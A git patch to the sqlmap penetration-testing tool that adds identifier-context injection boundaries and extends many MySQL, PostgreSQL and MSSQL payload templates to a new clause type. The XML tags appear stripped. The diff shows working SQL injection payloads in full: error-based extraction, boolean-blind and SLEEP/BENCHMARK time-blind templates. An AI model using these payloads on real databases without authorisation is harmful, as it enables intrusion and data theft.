From ac481492c0f487993b7dbb2480c80f61c0358b97 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Sep 2018 23:29:52 +0200 Subject: [PATCH] Final commit for #120 --- lib/core/settings.py | 2 +- txt/checksum.md5 | 10 ++++---- xml/boundaries.xml | 26 +++++++++++++------ xml/payloads/boolean_blind.xml | 10 ++++---- xml/payloads/error_based.xml | 46 +++++++++++++++++----------------- xml/payloads/time_blind.xml | 14 +++++------ 6 files changed, 59 insertions(+), 49 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a3cd30c7..d3ce650b6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.2.9.6" +VERSION = "1.2.9.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index abaeddb63..1ae853c3b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py 0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py a7db43859b61569b601b97f187dd31c5 lib/core/revision.py fcb74fcc9577523524659ec49e2e964b lib/core/session.py -24ed497dd48a34fdada54a0cb62f1161 lib/core/settings.py +c97ad42bb26a96c31617bd6e89de0761 lib/core/settings.py dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py 815d1cf27f0f8738d81531e73149867d lib/core/target.py @@ -469,13 +469,13 @@ d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml 350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml 817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml -55216973f6846ea2b3c3da39464dbf7e xml/boundaries.xml +b306c99a038b03421beea655dc804b64 xml/boundaries.xml 6cffc395cd0280f5c1a84542da6642e5 xml/errors.xml a279656ea3fcb85c727249b02f828383 xml/livetests.xml -3318571fac8df058f19ea85780606643 xml/payloads/boolean_blind.xml -b5b8b0aebce810e6cdda1b7106c96427 xml/payloads/error_based.xml +fe2a865a8579f2045d2be057a00f5b49 xml/payloads/boolean_blind.xml +0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml 06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml 3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml -c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml +a3c7d92a688a452952dcbe53ce86cf30 xml/payloads/time_blind.xml ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml a5eecbca03800851635817e0ca832a92 xml/queries.xml diff --git a/xml/boundaries.xml b/xml/boundaries.xml index 8ecfe5980..52a6fd33b 100644 --- a/xml/boundaries.xml +++ b/xml/boundaries.xml @@ -54,6 +54,7 @@ Tag: 3: LIKE single quoted string 4: Double quoted string 5: LIKE double quoted string + 6: Identifier (e.g. column name) Sub-tag: A string to prepend to the payload. @@ -491,20 +492,29 @@ Formats: 4 - 1 + 8 1 - 1 - ` - AND `[ORIGINAL] + 6 + `=`[ORIGINAL]` + AND `[ORIGINAL]`=`[ORIGINAL] 5 - 1 + 8 1 - 1 - "=[ORIGINAL] - AND [ORIGINAL]="[ORIGINAL] + 6 + "="[ORIGINAL]" + AND "[ORIGINAL]"="[ORIGINAL] + + + + 5 + 8 + 1 + 6 + ]=[[ORIGINAL]] + AND [[ORIGINAL]]=[[ORIGINAL] diff --git a/xml/payloads/boolean_blind.xml b/xml/payloads/boolean_blind.xml index ecf19cf8a..00ba460f6 100644 --- a/xml/payloads/boolean_blind.xml +++ b/xml/payloads/boolean_blind.xml @@ -160,7 +160,7 @@ Tag: 1 1 1 - 1,9 + 1,8,9 1 AND [INFERENCE] @@ -378,7 +378,7 @@ Tag: 1 3 1 - 1,2,3 + 1,2,3,8 1 AND MAKE_SET([INFERENCE],[RANDNUM]) @@ -416,7 +416,7 @@ Tag: 1 4 1 - 1,2,3 + 1,2,3,8 1 AND ELT([INFERENCE],[RANDNUM]) @@ -454,7 +454,7 @@ Tag: 1 5 1 - 1,2,3 + 1,2,3,8 1 AND ([INFERENCE])*[RANDNUM] @@ -492,7 +492,7 @@ Tag: 1 2 1 - 1 + 1,8 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL diff --git a/xml/payloads/error_based.xml b/xml/payloads/error_based.xml index 5cd78d8c1..410cada69 100644 --- a/xml/payloads/error_based.xml +++ b/xml/payloads/error_based.xml @@ -7,7 +7,7 @@ 2 4 1 - 1,2,3,9 + 1,2,3,8,9 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -32,7 +32,7 @@ 2 4 3 - 1,9 + 1,8,9 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -56,7 +56,7 @@ 2 4 1 - 1,2,3,9 + 1,2,3,8,9 1 AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -76,7 +76,7 @@ 2 4 3 - 1,9 + 1,8,9 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -96,7 +96,7 @@ 2 5 1 - 1,2,3,9 + 1,2,3,8,9 1 AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) @@ -117,7 +117,7 @@ 2 5 3 - 1,9 + 1,8,9 1 OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) @@ -137,7 +137,7 @@ 2 1 1 - 1,2,3,9 + 1,2,3,8,9 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) @@ -161,7 +161,7 @@ 2 1 3 - 1,2,3,9 + 1,2,3,8,9 1 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) @@ -186,7 +186,7 @@ 2 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -210,7 +210,7 @@ 2 2 3 - 1,2,3,9 + 1,2,3,8,9 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -235,7 +235,7 @@ 2 3 1 - 1,2,3,9 + 1,2,3,8,9 1 AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) @@ -259,7 +259,7 @@ 2 3 3 - 1,2,3,9 + 1,2,3,8,9 1 OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) @@ -284,7 +284,7 @@ 2 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -309,7 +309,7 @@ 2 2 3 - 1,9 + 1,8,9 1 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -334,7 +334,7 @@ 2 3 3 - 1,9 + 1,8,9 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) @@ -354,7 +354,7 @@ 2 1 1 - 1,9 + 1,8,9 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -373,7 +373,7 @@ 2 1 3 - 1,9 + 1,8,9 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -392,7 +392,7 @@ 2 1 1 - 1,9 + 1,8,9 1 AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -413,7 +413,7 @@ 2 2 3 - 1,9 + 1,8,9 2 OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -434,7 +434,7 @@ 2 2 1 - 1,9 + 1,8,9 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -455,7 +455,7 @@ 2 3 3 - 1,9 + 1,8,9 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -476,7 +476,7 @@ 2 2 1 - 1,9 + 1,8,9 1 AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') @@ -497,7 +497,7 @@ 2 3 3 - 1,9 + 1,8,9 2 OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') diff --git a/xml/payloads/time_blind.xml b/xml/payloads/time_blind.xml index f92112a7c..d74539470 100644 --- a/xml/payloads/time_blind.xml +++ b/xml/payloads/time_blind.xml @@ -7,7 +7,7 @@ 5 1 1 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -89,7 +89,7 @@ 5 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -171,7 +171,7 @@ 5 2 2 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -335,7 +335,7 @@ 5 3 1 - 1,2,3,9 + 1,2,3,8,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -414,7 +414,7 @@ 5 1 1 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -496,7 +496,7 @@ 5 2 2 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -617,7 +617,7 @@ 5 2 2 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)